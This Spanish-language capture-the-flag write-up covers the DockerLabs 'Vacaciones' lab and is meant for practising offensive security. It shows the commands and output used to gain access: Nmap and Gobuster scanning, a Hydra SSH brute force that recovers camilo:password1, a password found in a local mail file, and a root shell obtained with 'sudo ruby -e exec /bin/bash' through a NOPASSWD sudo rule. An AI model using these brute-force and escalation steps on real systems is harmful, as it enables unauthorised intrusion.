Muy Fácil

VACACIONES

DOCKERLABS

Laboratorio para practicar fuerza bruta contra SSH y escalada de privilegios en Linux. Un mensaje escondido en el código fuente de la web y una contraseña vulnerable nos abren el camino.

Autor: danimrtzp Fecha: 2026-06-06 Tipo: Linux / SSH / Web
Ficha Nmap Gobuster Fuerza Bruta Post-Exploit Privesc Glosario
OS Ubuntu Linux (Docker)
Dificultad Muy Fácil
Vector inicial Fuerza bruta SSH
Escalada Sudo Abuse / GTFOBins
Puertos 22 (SSH), 80 (HTTP)
Técnicas Nmap, Gobuster, Hydra, Sudo

Reconocimiento

El primer paso en cualquier pentest es conocer la superficie de ataque. Utilizamos Nmap, el escáner de red más popular, para descubrir qué puertos están abiertos en la máquina objetivo y qué servicios corren detrás de ellos.

La flag -p- escanea todos los 65535 puertos TCP, -sS realiza un SYN stealth scan, -sC ejecuta scripts de detección por defecto, -sV detecta versiones, y -oN guarda el resultado en un archivo.

Escaneo de puertos con Nmap
$ sudo nmap -p- --open -sS -sC -sV --min-rate 5000 -n -vvv -Pn 172.17.0.2 -oN escaneo Nmap scan report for 172.17.0.2 Host is up, received arp-response (0.0000040s latency). Scanned at 2026-06-06 20:41:17 CEST for 7s PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 64 OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 80/tcp open http syn-ack ttl 64 Apache httpd 2.4.29 ((Ubuntu)) |_http-title: Site doesn't have a title (text/html). |_http-server-header: Apache/2.4.29 (Ubuntu) # Detectamos dos puertos abiertos: SSH (22) y HTTP (80). # Guardamos el resultado en 'escaneo' para consultarlo luego.
Escaneo Nmap
Fig 1. Escaneo de puertos con Nmap — detectamos SSH (22) y HTTP (80) abiertos.

Enumeración

Con el puerto HTTP (80) abierto, revisamos la web. El título indica que no hay contenido, solo HTML vacío. Usamos Gobuster para descubrir archivos y directorios ocultos.

La flag -u especifica la URL, -w el diccionario, y -x las extensiones a buscar.

Enumeración de directorios con Gobuster
$ gobuster dir -u http://172.17.0.2 -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-lowercase-2.3-medium.txt -x php,html,txt =============================================================== Gobuster v3.8.2 [+] Url: http://172.17.0.2 [+] Method: GET [+] Threads: 10 [+] Extensions: html,txt,php =============================================================== Starting gobuster in directory enumeration mode =============================================================== index.html (Status: 200) [Size: 74] javascript (Status: 301) [Size: 313] server-status (Status: 403) [Size: 275] Progress: 830564 / 830564 (100.00%) =============================================================== Finished =============================================================== # La web solo tiene index.html. Nada más que enumerar.
Enumeración Gobuster
Fig 2. Gobuster solo encuentra index.html, javascript y server-status. No hay directorios ocultos.

La web está en blanco, así que inspeccionamos el código fuente con Ctrl+U. Es una técnica común en CTFs: los desarrolladores dejan pistas en comentarios HTML.

Web vacía
Fig 3. La web está completamente en blanco — solo carga index.html sin contenido visible.
🔍 HALLAZGO

En el código fuente (Ctrl+U) encontramos un comentario HTML escondido:

<!-- De : Juan Para: Camilo , te he dejado un correo es importante... -->

Dos usuarios potenciales: juan y camilo. Y hay un "correo" importante.

Mensaje escondido
Fig 4. Comentario HTML oculto revelando usuarios juan y camilo.

Revisamos el archivo de escaneo para confirmar que SSH está abierto antes de intentar fuerza bruta:

Revisión del escaneo guardado
$ cat escaneo # Nmap 7.99 scan initiated Sat Jun 6 20:41:17 2026 Nmap scan report for 172.17.0.2 Host is up, received arp-response (0.0000040s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 64 OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 80/tcp open http syn-ack ttl 64 Apache httpd 2.4.29 ((Ubuntu)) # Confirmado: SSH abierto. Vector de ataque: fuerza bruta vía SSH.
Revisión escaneo Nmap
Fig 5. Revisamos el archivo de escaneo con cat escaneo para confirmar el puerto SSH (22).

Explotación

Con dos usuarios potenciales y SSH abierto, usamos Hydra para ataque de fuerza bruta. -l usuario fijo, -P diccionario rockyou.txt, -I ignora verificación de archivo.

Fuerza bruta SSH con Hydra
$ hydra -l camilo -P /usr/share/wordlists/rockyou.txt ssh://172.17.0.2 -I Hydra v9.7 (c) 2023 by van Hauser/THC & David Maciejak [WARNING] Many SSH configurations limit the number of parallel tasks... [DATA] max 16 tasks per 1 server, overall 16 tasks, 14344398 login tries... [DATA] attacking ssh://172.17.0.2:22/ [22][ssh] host: 172.17.0.2 login: camilo password: password1 1 of 1 target successfully completed, 1 valid password found # ¡Credenciales encontradas! camilo:password1
Fuerza bruta Hydra
Fig 6. Hydra encuentra la contraseña de camilo: password1.

Nos conectamos por SSH como camilo. Exportamos TERM=xterm para que la terminal funcione correctamente.

Conexión SSH como camilo
$ ssh camilo@172.17.0.2 ** WARNING: connection is not using a post-quantum key exchange algorithm... camilo@172.17.0.2's password: $ # Acceso obtenido como camilo $ export TERM=xterm
Conexión SSH camilo
Fig 7. Conexión SSH exitosa como camilo.

Post-Explotación

Ya dentro como camilo, intentamos escalar privilegios. El comando sudo -l lista qué comandos puede ejecutar el usuario con privilegios de root.

Verificación de permisos sudo como camilo
$ sudo -l [sudo] password for camilo: Sorry, user camilo may not run sudo on ab43b6d8ed09. # Camilo no tiene permisos sudo. No puede escalar directamente. # Necesitamos encontrar otra forma de avanzar.
sudo -l camilo
Fig 8. sudo -l como camilo confirma que NO tiene permisos sudo.

Camilo no puede escalar. Recordemos el mensaje del código fuente: "De: Juan Para: Camilo, te he dejado un correo es importante...". Como ya somos camilo, hay un correo esperándonos.

En Linux, los correos locales se almacenan en /var/mail. Primero revisamos los usuarios del sistema en /home:

Enumeración de usuarios en /home
$ cd /home $ ls camilo juan pedro # Encontramos 3 usuarios: camilo (nosotros), juan y pedro. # El mensaje mencionaba a Juan, así que probablemente él dejó el correo.
Usuarios en /home
Fig 9. /home revela tres usuarios: camilo, juan y pedro.

Ahora buscamos el correo en /var/mail. Navegamos hasta encontrar el correo de camilo:

Búsqueda del correo en /var/mail
$ cd /var/mail $ ls camilo $ cd camilo $ ls correo.txt $ cat correo.txt Hola Camilo, Me voy de vacaciones y no he terminado el trabajo que me dio el jefe. Por si acaso lo pide, aquí tienes la contraseña: 2k84dicb # ¡Encontramos la contraseña de juan! 2k84dicb # Como el correo lo envió juan, es lógico que sea su contraseña.
Correo en /var/mail
Fig 10. Exploración de /var/mail → encontramos correo.txt con la contraseña de Juan: 2k84dicb.

Con la contraseña de juan, usamos su - juan para pivotar. su (switch user) cambia de usuario. La flag - simula un login completo.

Pivot a usuario juan
$ su - juan Password: $ whoami juan # ¡Pivot exitoso! Ahora somos juan.
Conexión como juan
Fig 11. su - juan con contraseña 2k84dicbwhoami confirma que somos juan.

Escalada de Privilegios

Como usuario juan, repetimos: sudo -l para ver qué comandos puede ejecutar como root.

Verificación de sudo como juan
$ sudo -l Matching Defaults entries for juan on ab43b6d8ed09: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User juan may run the following commands on ab43b6d8ed09: (ALL) NOPASSWD: /usr/bin/ruby # ¡Juan puede ejecutar ruby como root sin contraseña! # NOPASSWD significa que no pide contraseña al usar sudo.
⚠️ VULNERABILIDAD — Sudo Misconfiguration

sudo -l revela que juan puede ejecutar /usr/bin/ruby como root con NOPASSWD. Esto es una configuración incorrecta: otorgar permisos sin contraseña a un binario interactivo permite escalar privilegios trivialmente.

Consultamos GTFOBins (gtfobins.github.io), un repositorio que documenta cómo abusar de binarios con permisos sudo. Para Ruby:

sudo ruby -e 'exec "/bin/bash"'

El parámetro -e ejecuta código Ruby inline. exec reemplaza el proceso Ruby con una shell bash, y como sudo la ejecuta como root, obtenemos shell root.

Escalada a root con Ruby
$ sudo ruby -e 'exec "/bin/bash"' root@ab43b6d8ed09:~# # ¡SOMOS ROOT! root@ab43b6d8ed09:~# whoami root root@ab43b6d8ed09:~# id uid=0(root) gid=0(root) groups=0(root) # Escalada de privilegios completada con éxito. # uid=0 confirma que somos root (superusuario).
Escalada a root
Fig 12. sudo -l muestra NOPASSWD: /usr/bin/ruby → escalamos con sudo ruby -e 'exec "/bin/bash"'root@ab43b6d8ed09:~#
✅ RESUMEN DE LA MÁQUINA

1. Nmap descubre puertos 22 (SSH) y 80 (HTTP)

2. Gobuster confirma web vacía; Ctrl+U revela comentario HTML con usuarios juan y camilo

3. Revisamos cat escaneo para confirmar SSH abierto

4. Hydra encuentra camilo:password1

5. SSH como camilo

6. sudo -l falla (camilo sin permisos)

7. ls /home → usuarios: camilo, juan, pedro

8. /var/mail/camilo/correo.txt → contraseña de juan: 2k84dicb

9. su - juan con contraseña encontrada

10. sudo -l como juan → NOPASSWD: /usr/bin/ruby

11. sudo ruby -e 'exec "/bin/bash"'ROOT

// GLOSARIO
Nmap: Escáner de red líder. Detecta puertos, servicios, versiones y OS. Flags: -p- (todos los puertos), -sS (SYN stealth), -sC (scripts), -sV (versiones), -oN (guardar).
Gobuster: Fuerza bruta de directorios en servidores web. Flags: dir (modo directorio), -u (URL), -w (wordlist), -x (extensiones).
Hydra: Fuerza bruta para múltiples protocolos (SSH, FTP, HTTP, etc.). Flags: -l (usuario), -P (diccionario), -I (ignorar existencia).
SSH: Secure Shell — acceso remoto cifrado. Puerto por defecto: 22.
sudo -l: Lista permisos sudo del usuario actual. Primer comando tras acceder para buscar escalada.
NOPASSWD: Permite ejecutar comandos como root sin contraseña. Vulnerable en binarios interactivos.
GTFOBins: Repositorio de técnicas para escalar privilegios abusando binarios con permisos sudo.
su - [usuario]: Cambia al usuario con login completo, cargando su entorno. La contraseña es la del usuario destino.
/var/mail: Directorio estándar en Linux para correos locales de usuarios del sistema.
Pivot: Moverse de un usuario comprometido a otro usando credenciales encontradas.